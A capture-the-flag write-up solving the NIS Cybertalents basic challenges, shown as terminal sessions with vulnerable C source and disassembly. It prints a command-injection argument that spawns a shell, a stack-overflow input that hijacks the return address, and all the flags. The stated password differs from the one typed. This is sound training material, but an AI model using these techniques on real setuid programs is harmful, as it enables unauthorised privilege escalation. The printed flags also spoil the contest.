espenfjo@home:~$

NIS Cybertalents CTF Basic challenges

There are five basic challenges in this topic.

They all will give you a basic introduction to the various techniques and topics used in this CTF and in exploitation in general.

1_scoreboard

This task is not really a task, but rather an introduction to the CTF and how to submit a flag.
The flag is found in the file FLAGG and is submitted with the scoreboard command:

$ cat FLAGG
9eb078215c14b723ca77ee6681d95b49
$ scoreboard 9eb078215c14b723ca77ee6681d95b49
Kategori: 1. Grunnleggende  
Oppgave:  1.1_scoreboard  
Svar:     9eb078215c14b723ca77ee6681d95b49  
  
Gratulerer, korrekt svar!

2_setuid

This is a basic introduction to Linux/UNIX SETUID. The folder contains four files:

$ ls -l
total 96
-r-------- 1 basic2 login    33 Feb 25 08:55 FLAGG
-r--r--r-- 1 basic2 login  1769 Feb 12 04:00 LESMEG.md
-r-sr-xr-x 1 basic2 login 43744 Feb 12 04:00 cat
-r-sr-xr-x 1 basic2 login 43808 Feb 12 04:00 id

The FLAGG is only readable by the basic2 user, luckily two setuid binaries are provided: id and cat.

$ id
uid=1000(login) gid=1000(login) groups=1000(login)
$ ./id
uid=1000(login) gid=1000(login) euid=1002(basic2) groups=1000(login)
$ cat FLAGG
cat: FLAGG: Permission denied
$ ./cat FLAGG
695945ae7384f766cc7833a876743e44
$ scoreboard 695945ae7384f766cc7833a876743e44
Kategori: 1. Grunnleggende
Oppgave:  1.2_setuid
Svar:     695945ae7384f766cc7833a876743e44

Gratulerer, korrekt svar

3_injection

To quote the mission details:

Vulnerabilities where user data is parsed ad commands are a classic which never gets old. One of the easiest variants occurs when user data is sent directly to a shell. The technique is called Command injection, and you can get the program to run more commands than intended by separating them with a semi-colon.
Cross-site scripting (XSS), SQL injection, deserialization attacks and format string vulnerabilities are other variations that can lead to the whole specter from information leaks to command execution.

$ ls -l
total 32
-r-------- 1 basic3 login    33 Feb 12 04:00 FLAGG
-r--r--r-- 1 basic3 login  1033 Feb 12 04:00 LESMEG.md
-r-sr-xr-x 1 basic3 login 16904 Feb 12 04:00 md5sum
-r--r--r-- 1 basic3 login   450 Feb 12 04:00 md5sum.c

As you can see, there are three relevant files in this task, the unreadable flag, the binary md5sum, and the source code of the binary md5sum.c.

Looking at the source code gives us a very nice overview of the vulnerability in question:

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char *argv[])
{
	if (argc != 2) {
		printf("Usage: %s <file>\n\n", argv[0]);
		printf("Suid-wrapper rundt md5sum.\n");
		exit(0);
	}

	char cmd[512];
	snprintf(cmd, sizeof(cmd), "/usr/bin/md5sum %s", argv[1]);

	printf("Kjører kommando:\n");
	printf(cmd);
	printf("\n\n");

	setreuid(geteuid(), geteuid());
	printf("Resultat:\n");
	system(cmd);
}

The program does three things:

  1. Reads input from the user with the intention of calculating the md5sum of a file
  2. Sets [effective user id] (https://en.wikipedia.org/wiki/User_identifier#Effective_user_ID) to basic3 which is the user that owns md5sum and the flag.
  3. Executes the system call with the input from 1

The vulnerability here is that the system call takes unsanitized input from the user and executes it on the system in the context of the basic3 user.

$ ./md5sum 'this-file-doesnt-exist;cat FLAGG'
Kjører kommando:
/usr/bin/md5sum this-file-doesnt-exist;cat FLAGG

Resultat:
/usr/bin/md5sum: this-file-doesnt-exist: No such file or directory
6402196733ece6c25b2e9cb2956f44cd
$ scoreboard 6402196733ece6c25b2e9cb2956f44cd
Kategori: 1. Grunnleggende
Oppgave:  1.3_injection
Svar:     6402196733ece6c25b2e9cb2956f44cd

Gratulerer, korrekt svar!

This could even be used to spawn a shell in the context of the basic3 user:

$ id
uid=1000(login) gid=1000(login) groups=1000(login)
$ ./md5sum 'this-file-doesnt-exist;sh'
$ id
uid=1003(basic3) gid=1000(login) groups=1000(login)
$ cat FLAGG
6402196733ece6c25b2e9cb2956f44cd

4_overflow

This is a standard buffer overflow task.

$ ls
-r-------- 1 basic4 login    33 Feb 25 08:55 FLAGG
-r--r--r-- 1 basic4 login  1986 Feb 12 04:00 LESMEG.md
-r-sr-xr-x 1 basic4 login 17208 Feb 12 04:00 overflow
-r--r--r-- 1 basic4 login  4535 Feb 12 04:00 overflow.c
-r--r--r-- 1 basic4 login    38 Feb 12 04:00 sample_shellco

As in the other tasks there is a flag that is only readable by a specific user, and then a setuid binary that you should exploit.
The NIS even makes it easy for us by providing a sample shellcode for us. The shellcode is to be primed and prepped by running

export SHC=$(cat sample_shellcode)

The vulnerable program is a bit larger, but contains mostly of helper-code making it easier for the users to exploit the program without using a debugger.

#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define SHELLCODE_ADDRESS 0x303030303030
#define KGREEN "\033[01;32m"
#define KRED "\033[31m"
#define KRESET "\033[0m"

/*
 * Allocate a page of executable memory at SHELLCODE_ADDRESS,
 * and fill it with nop-sled and contents of environment variable SHC.
 * If SHC is not set, fill with breakpoints to trap program flow.
 */
char *
prep_shellcode(void)
{
	char *shc    = getenv("SHC");
	char *retval = mmap((char *)(SHELLCODE_ADDRESS & ~(4096 - 1)),
	                    4096,
	                    PROT_READ | PROT_WRITE | PROT_EXEC,
	                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
	                    -1,
	                    0);

	if (retval == MAP_FAILED) {
		printf("Failed to mmap area for shellcode: %s\n", strerror(errno));
		exit(1);
	}

	if (shc && strlen(shc) < 4096) {
		/* SHC is set; fill memory page with nops and stuff shellcode at the end */
		memset(retval, 0x90, 4096);
		memcpy(retval + 4096 - strlen(shc), shc, strlen(shc));
	} else {
		/* No SHC; trigger trace/breakpoint trap */
		memset(retval, 0xcc, 4096);
	}

	/* Returning retval is more precise, but leaves a confusing null-byte in the address. */
	return (char *)SHELLCODE_ADDRESS;
}

/*
 * Print hexdump of memory, with one memory range ('modified') highlighted.
 * Optional arguments are address/name pairs to describe content of each line.
 */
void
hexdump(unsigned char *base, long len, long width,
        unsigned char *modified_start, long modified_length,
        long name_list_len, ...)
{
	void *  named_addresses[name_list_len / 2];
	char *  named_addresses_name[name_list_len / 2];
	va_list name_list;
	va_start(name_list, name_list_len);

	for (int n = 0; n < name_list_len / 2; n++) {
		named_addresses[n]      = va_arg(name_list, void *);
		named_addresses_name[n] = va_arg(name_list, char *);
	}

	for (int i = len; i >= 0; i -= width) {
		/* Print memory address, and possibly overwrite with name from named_addresses */
		printf("%-16p", base + i);
		for (int n = 0; n < name_list_len / 2; n++) {
			if (base + i == named_addresses[n]) {
				printf("\r%-16s", named_addresses_name[n]);
				break;
			}
		}

		/* Print hex dump of next `width` bytes */
		/* Use red color for bytes modified by strcpy */
		for (int n = 0; n < width; n++) {
			if (modified_start <= base + i + n && base + i + n < modified_start + modified_length)
				printf(KRED);
			printf(" %02x" KRESET, base[i + n]);
		}

		/* Print ascii representation, or '.' if byte is non-printable */
		/* Use red color for bytes modified by strcpy */
		printf("  |");
		for (int n = 0; n < width; n++) {
			if (modified_start <= base + i + n && base + i + n < modified_start + modified_length)
				printf(KRED);
			printf("%c" KRESET, (base[i + n] >= 0x20 && base[i + n] < 0x7f) ? base[i + n] : '.');
		}
		printf("|\n");
	}
}

int
main(int argc, char *argv[])
{
	long           above = 0;
	unsigned char  buffer[32];
	long           below         = 0x6867666564636261;
	long           width         = 8;
	unsigned char *shellcode_ptr = prep_shellcode();
	unsigned char *p             = (void *)&p;

	printf("\nBefore strcpy:\n");
	printf("above = 0x%16lx\n", above);
	printf("below = 0x%16lx\n", below);

	/* Copy first argument to buffer, potentially overflowing the stack */
	if (argc >= 2)
		strcpy(buffer, argv[1]);

	printf("\nAfter strcpy:\n");
	printf("above = 0x%16lx\n", above);
	printf("below = 0x%16lx\n", below);

	printf("\nStackdump:\n");
	hexdump(p, 128, width, buffer, argc >= 2 ? strlen(argv[1]) + 1 : 0, 16, &above, "&above", &buffer, "&buffer", &below, "&below", &width, "&width", &shellcode_ptr, "&shellcode_ptr", &p, "&p", p + 96, "stored rbp", p + 104, "stored rip");

	/* Now that output and overflows are done with, inspect the results */

	if (above == 0x4847464544434241) {
		printf(KGREEN "\nabove is correct!\n" KRESET);
		printf("Next step is to adjust the stored rip to point to shellcode\n");
	} else if (argc > 1 && strlen(argv[1]) >= (unsigned char *)&above - buffer) {
		printf(KRED "\nabove has incorrect value.\n" KRESET);
		printf("Read source code to find the magic number.\n");
		/* Call exit() to avoid returning to user controlled memory */
		exit(1);
	} else {
		printf("\nabove has not been overwritten.\n");
		printf("Supply an argument which is long enough to overflow buffer, ");
		printf("and modify the value of 'above'.\n");
	}

	/* Return, possibly to user controlled memory */
	return 0;
}

This program reads input from argv[1] and pushes it to the stack into a variable called buffer preallocated to be the 32 bytes. The input function strcpy does not check if the user supplied input is longer than 32 bytes, and is therefore vulnerable of an overflow attack.

Further you can see that the program checks if the variable above is set to 0x4847464544434241. This is the hexadecimal presentation of the string HGFEDCBA. If this is true the program will continue to run to return 0 and, as their comment states, possibly return to user controlled memory.

The next step after controlling the above variable is to adjust the stored RIP to point to the shellcode. Conveniently the shellcode is read and stored in 0x303030303030. This is the hexadecimal representation of 000000.

Simply running the program gives us a nice representation of the relevant registers and parts of the stack:

$ ./overflow 

Before strcpy:
above = 0x               0
below = 0x6867666564636261

After strcpy:
above = 0x               0
below = 0x6867666564636261

Stackdump:
0x7ffe3590e1d0   00 00 04 00 01 00 00 00  |........|
0x7ffe3590e1c8   98 e2 90 35 fe 7f 00 00  |...5....|
0x7ffe3590e1c0   00 00 00 00 00 00 00 00  |........|
stored rip       9b f0 8c bc ae 7f 00 00  |........|
stored rbp       c0 4a 19 11 f8 55 00 00  |.J...U..|
0x7ffe3590e1a8   f0 40 19 11 f8 55 00 00  |.@...U..|
0x7ffe3590e1a0   00 00 00 00 00 00 00 00  |........|
&above           00 00 00 00 00 00 00 00  |........|
0x7ffe3590e190   c0 4a 19 11 f8 55 00 00  |.J...U..|
0x7ffe3590e188   00 00 00 00 00 00 00 00  |........|
0x7ffe3590e180   30 45 a8 bc ae 7f 00 00  |0E......|
0x7ffe3590e178   05 4b 19 11 f8 55 00 00  |.K...U..|
&buffer          00 00 00 00 00 00 00 00  |........|
&below           61 62 63 64 65 66 67 68  |abcdefgh|
&width           08 00 00 00 00 00 00 00  |........|
&shellcode_ptr   30 30 30 30 30 30 00 00  |000000..|
&p               50 e1 90 35 fe 7f 00 00  |P..5....|

above has not been overwritten.
Supply an argument which is long enough to overflow buffer, and modify the value of 'above'.

There are several ways to exploit this, but since the program itself presents all the information we need to exploit it, we will simply do this manually.

First we will try to overwrite the above variable. Since the memory architechture is little-endian the input will have to contain ABCDEFGH and not HGFEDCBA.

$ ./overflow BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABCDEFGH

Before strcpy:
above = 0x               0
below = 0x6867666564636261

After strcpy:
above = 0x4847464544434241
below = 0x6867666564636261

Stackdump:
0x7ffcfd994480   00 00 04 00 02 00 00 00  |........|
0x7ffcfd994478   48 45 99 fd fc 7f 00 00  |HE......|
0x7ffcfd994470   00 00 00 00 00 00 00 00  |........|
stored rip       9b 00 3e 91 6b 7f 00 00  |..>.k...|
stored rbp       c0 ba 29 e6 79 55 00 00  |..).yU..|
0x7ffcfd994458   f0 b0 29 e6 79 55 00 00  |..).yU..|
0x7ffcfd994450   00 00 00 00 00 00 00 00  |........|
&above           41 42 43 44 45 46 47 48  |ABCDEFGH|
0x7ffcfd994440   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7ffcfd994438   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7ffcfd994430   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7ffcfd994428   42 42 42 42 42 42 42 42  |BBBBBBBB|
&buffer          42 42 42 42 42 42 42 42  |BBBBBBBB|
&below           61 62 63 64 65 66 67 68  |abcdefgh|
&width           08 00 00 00 00 00 00 00  |........|
&shellcode_ptr   30 30 30 30 30 30 00 00  |000000..|
&p               00 44 99 fd fc 7f 00 00  |.D......|

above is correct!
Next step is to adjust the stored rip to point to shellcode
As you can see here the buffer is indeed vulnerable to an overflow attack, and we are able to overwrite the `above` variable. Lets continue to overflow the stack and overwrite RIP with `000000`:

./overflow BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABCDEFGHCCCCCCCCCCCCCCCCCCCCCCCC000000

Before strcpy:
above = 0x               0
below = 0x6867666564636261

After strcpy:
above = 0x4847464544434241
below = 0x6867666564636261

Stackdump:
0x7fffc30c2950   00 00 04 00 02 00 00 00  |........|
0x7fffc30c2948   18 2a 0c c3 ff 7f 00 00  |.*......|
0x7fffc30c2940   00 00 00 00 00 00 00 00  |........|
stored rip       30 30 30 30 30 30 00 00  |000000..|
stored rbp       43 43 43 43 43 43 43 43  |CCCCCCCC|
0x7fffc30c2928   43 43 43 43 43 43 43 43  |CCCCCCCC|
0x7fffc30c2920   43 43 43 43 43 43 43 43  |CCCCCCCC|
&above           41 42 43 44 45 46 47 48  |ABCDEFGH|
0x7fffc30c2910   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7fffc30c2908   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7fffc30c2900   42 42 42 42 42 42 42 42  |BBBBBBBB|
0x7fffc30c28f8   42 42 42 42 42 42 42 42  |BBBBBBBB|
&buffer          42 42 42 42 42 42 42 42  |BBBBBBBB|
&below           61 62 63 64 65 66 67 68  |abcdefgh|
&width           08 00 00 00 00 00 00 00  |........|
&shellcode_ptr   30 30 30 30 30 30 00 00  |000000..|
&p               d0 28 0c c3 ff 7f 00 00  |.(......|

above is correct!
Next step is to adjust the stored rip to point to shellcode
$ id
uid=1004(basic4) gid=1000(login) groups=1000(login)
$ cat FLAGG
06c3f892ec14b8773ce80e40b75a75e7
$ exit
$ scoreboard 06c3f892ec14b8773ce80e40b75a75e7
Kategori: 1. Grunnleggende
Oppgave:  1.4_overflow
Svar:     06c3f892ec14b8773ce80e40b75a75e7

Gratulerer, korrekt svar!

5_reversing

$ ls -l
total 32
-r-------- 1 basic5 login    33 Feb 25 08:55 FLAGG
-r--r--r-- 1 basic5 login  1285 Feb 12 04:00 LESMEG.md
-r-sr-xr-x 1 basic5 login 17016 Feb 12 04:00 check_password
-r-------- 1 basic5 login  1121 Feb 12 04:00 check_passw

As with the other tasks there are several files here, however only the setuid binary (and the README) are readable to us. The source code is here only readable by the basic5 user, and we will have to reverse engineer what the check_password command is doing without the help of the source code.

There are several tools to help us with this such as: IDA Pro, Ghidra, Binary Ninja, Hopper, Radare2, objdump, etc.

We will start by simply executing the program:

$ ./check_password 
Bruk: ./check_password PASSORD

Sjekk passord gitt som første argument.
Hvis passordet er korrekt startes et nytt shell med utvidete rettigheter.

It asks us to supply a pasword as the argument of the program, and if the password is valid it will spawn a new shell with elevated privileges and hopefully let us read the flag.

$ ./check_password password
Feil passord :(
Du stoppet på steg 1

Disassembling the program with objdump shows us there are two main functions to concentrate on. check_password and main.

00000000000011a5 <check_password>:
    11a5:	55                   	push   rbp
    11a6:	48 89 e5             	mov    rbp,rsp
    11a9:	48 83 ec 20          	sub    rsp,0x20
    11ad:	48 89 7d e8          	mov    QWORD PTR [rbp-0x18],rdi
    11b1:	48 8b 45 e8          	mov    rax,QWORD PTR [rbp-0x18]
    11b5:	48 89 c7             	mov    rdi,rax
    11b8:	e8 93 fe ff ff       	call   1050 <strlen@plt>
    11bd:	48 83 f8 20          	cmp    rax,0x20
    11c1:	74 0a                	je     11cd <check_password+0x28>
    11c3:	b8 01 00 00 00       	mov    eax,0x1
    11c8:	e9 aa 00 00 00       	jmp    1277 <check_password+0xd2>
    11cd:	48 8b 45 e8          	mov    rax,QWORD PTR [rbp-0x18]
    11d1:	ba 13 00 00 00       	mov    edx,0x13
    11d6:	48 89 c6             	mov    rsi,rax
    11d9:	48 8d 3d 28 0e 00 00 	lea    rdi,[rip+0xe28]        # 2008 <_IO_stdin_used+0x8>
    11e0:	e8 4b fe ff ff       	call   1030 <strncmp@plt>
    11e5:	85 c0                	test   eax,eax
    11e7:	74 0a                	je     11f3 <check_password+0x4e>
    11e9:	b8 02 00 00 00       	mov    eax,0x2
    11ee:	e9 84 00 00 00       	jmp    1277 <check_password+0xd2>
    11f3:	48 8b 45 e8          	mov    rax,QWORD PTR [rbp-0x18]
    11f7:	48 83 c0 13          	add    rax,0x13
    11fb:	0f b6 00             	movzx  eax,BYTE PTR [rax]
    11fe:	3c 5f                	cmp    al,0x5f
    1200:	74 07                	je     1209 <check_password+0x64>
    1202:	b8 03 00 00 00       	mov    eax,0x3
    1207:	eb 6e                	jmp    1277 <check_password+0xd2>
    1209:	48 8b 45 e8          	mov    rax,QWORD PTR [rbp-0x18]
    120d:	8b 40 13             	mov    eax,DWORD PTR [rax+0x13]
    1210:	89 45 fc             	mov    DWORD PTR [rbp-0x4],eax
    1213:	81 7d fc 5f 65 72 5f 	cmp    DWORD PTR [rbp-0x4],0x5f72655f
    121a:	74 07                	je     1223 <check_password+0x7e>
    121c:	b8 04 00 00 00       	mov    eax,0x4
    1221:	eb 54                	jmp    1277 <check_password+0xd2>
    1223:	c6 45 f2 6d          	mov    BYTE PTR [rbp-0xe],0x6d
    1227:	c6 45 f3 6f          	mov    BYTE PTR [rbp-0xd],0x6f
    122b:	c6 45 f4 72          	mov    BYTE PTR [rbp-0xc],0x72
    122f:	c6 45 f5 73          	mov    BYTE PTR [rbp-0xb],0x73
    1233:	c6 45 f6 6f          	mov    BYTE PTR [rbp-0xa],0x6f
    1237:	c6 45 f7 6d          	mov    BYTE PTR [rbp-0x9],0x6d
    123b:	c6 45 f8 74          	mov    BYTE PTR [rbp-0x8],0x74
    123f:	c6 45 f9 5f          	mov    BYTE PTR [rbp-0x7],0x5f
    1243:	c6 45 fa 5f          	mov    BYTE PTR [rbp-0x6],0x5f
    1247:	c6 45 fb 00          	mov    BYTE PTR [rbp-0x5],0x0
    124b:	48 8b 45 e8          	mov    rax,QWORD PTR [rbp-0x18]
    124f:	48 8d 48 17          	lea    rcx,[rax+0x17]
    1253:	48 8d 45 f2          	lea    rax,[rbp-0xe]
    1257:	ba 0a 00 00 00       	mov    edx,0xa
    125c:	48 89 ce             	mov    rsi,rcx
    125f:	48 89 c7             	mov    rdi,rax
    1262:	e8 c9 fd ff ff       	call   1030 <strncmp@plt>
    1267:	85 c0                	test   eax,eax
    1269:	74 07                	je     1272 <check_password+0xcd>
    126b:	b8 05 00 00 00       	mov    eax,0x5
    1270:	eb 05                	jmp    1277 <check_password+0xd2>
    1272:	b8 00 00 00 00       	mov    eax,0x0
    1277:	c9                   	leave  
    1278:	c3                   	ret    

0000000000001279 <main>:
    1279:	55                   	push   rbp
    127a:	48 89 e5             	mov    rbp,rsp
    127d:	53                   	push   rbx
    127e:	48 83 ec 48          	sub    rsp,0x48
    1282:	89 7d cc             	mov    DWORD PTR [rbp-0x34],edi
    1285:	48 89 75 c0          	mov    QWORD PTR [rbp-0x40],rsi
    1289:	48 89 55 b8          	mov    QWORD PTR [rbp-0x48],rdx
    128d:	83 7d cc 02          	cmp    DWORD PTR [rbp-0x34],0x2
    1291:	74 3d                	je     12d0 <main+0x57>
    1293:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
    1297:	48 8b 00             	mov    rax,QWORD PTR [rax]
    129a:	48 89 c6             	mov    rsi,rax
    129d:	48 8d 3d 78 0d 00 00 	lea    rdi,[rip+0xd78]        # 201c <_IO_stdin_used+0x1c>
    12a4:	b8 00 00 00 00       	mov    eax,0x0
    12a9:	e8 b2 fd ff ff       	call   1060 <printf@plt>
    12ae:	48 8d 3d 7b 0d 00 00 	lea    rdi,[rip+0xd7b]        # 2030 <_IO_stdin_used+0x30>
    12b5:	e8 86 fd ff ff       	call   1040 <puts@plt>
    12ba:	48 8d 3d 9f 0d 00 00 	lea    rdi,[rip+0xd9f]        # 2060 <_IO_stdin_used+0x60>
    12c1:	e8 7a fd ff ff       	call   1040 <puts@plt>
    12c6:	bf 00 00 00 00       	mov    edi,0x0
    12cb:	e8 d0 fd ff ff       	call   10a0 <exit@plt>
    12d0:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
    12d4:	48 83 c0 08          	add    rax,0x8
    12d8:	48 8b 00             	mov    rax,QWORD PTR [rax]
    12db:	48 89 c7             	mov    rdi,rax
    12de:	e8 c2 fe ff ff       	call   11a5 <check_password>
    12e3:	89 45 ec             	mov    DWORD PTR [rbp-0x14],eax
    12e6:	83 7d ec 00          	cmp    DWORD PTR [rbp-0x14],0x0
    12ea:	75 4d                	jne    1339 <main+0xc0>
    12ec:	48 8d 05 b7 0d 00 00 	lea    rax,[rip+0xdb7]        # 20aa <_IO_stdin_used+0xaa>
    12f3:	48 89 45 d0          	mov    QWORD PTR [rbp-0x30],rax
    12f7:	48 c7 45 d8 00 00 00 	mov    QWORD PTR [rbp-0x28],0x0
    12fe:	00 
    12ff:	48 8d 3d ac 0d 00 00 	lea    rdi,[rip+0xdac]        # 20b2 <_IO_stdin_used+0xb2>
    1306:	e8 35 fd ff ff       	call   1040 <puts@plt>
    130b:	e8 60 fd ff ff       	call   1070 <geteuid@plt>
    1310:	89 c3                	mov    ebx,eax
    1312:	e8 59 fd ff ff       	call   1070 <geteuid@plt>
    1317:	89 de                	mov    esi,ebx
    1319:	89 c7                	mov    edi,eax
    131b:	e8 70 fd ff ff       	call   1090 <setreuid@plt>
    1320:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30]
    1324:	48 8b 55 b8          	mov    rdx,QWORD PTR [rbp-0x48]
    1328:	48 8d 4d d0          	lea    rcx,[rbp-0x30]
    132c:	48 89 ce             	mov    rsi,rcx
    132f:	48 89 c7             	mov    rdi,rax
    1332:	e8 49 fd ff ff       	call   1080 <execve@plt>
    1337:	eb 22                	jmp    135b <main+0xe2>
    1339:	48 8d 3d 83 0d 00 00 	lea    rdi,[rip+0xd83]        # 20c3 <_IO_stdin_used+0xc3>
    1340:	e8 fb fc ff ff       	call   1040 <puts@plt>
    1345:	8b 45 ec             	mov    eax,DWORD PTR [rbp-0x14]
    1348:	89 c6                	mov    esi,eax
    134a:	48 8d 3d 82 0d 00 00 	lea    rdi,[rip+0xd82]        # 20d3 <_IO_stdin_used+0xd3>
    1351:	b8 00 00 00 00       	mov    eax,0x0
    1356:	e8 05 fd ff ff       	call   1060 <printf@plt>
    135b:	8b 45 ec             	mov    eax,DWORD PTR [rbp-0x14]
    135e:	48 83 c4 48          	add    rsp,0x48
    1362:	5b                   	pop    rbx
    1363:	5d                   	pop    rbp
    1364:	c3                   	ret    
    1365:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
    136c:	00 00 00 
    136f:	90                   	nop

Reading the assembly shows us that the program does several checks in check_password to ensure that we have entered the correct password:

  1. Checks that the password is of length 0x20 or 32 in decimal form
  2. Checks that the first 0x13th(19) bytes are equal Reverse_engineering
  3. Checks that the first 0x14th(20) byte is equal to _
  4. Checks that the next four bytes are equal to _er_
  5. And finally checks that the last bytes are equal to morsomt__

The correct password ends up with being Reverse_engineering__er_morsomt__ (Reverse_engineering__is_fun__)

$ ./check_password Reverse_engineering_er_morsomt__
Korrekt passord!
$ id
uid=1005(basic5) gid=1000(login) groups=1000(login)
$ cat FLAGG
2f32e2748b164cb677c2713e8e13cf70
$ exit
$ scoreboard 2f32e2748b164cb677c2713e8e13cf70
Kategori: 1. Grunnleggende
Oppgave:  1.5_reversing
Svar:     2f32e2748b164cb677c2713e8e13cf70

Gratulerer, korrekt svar!

This concludes the basic tasks, and the mission awaits.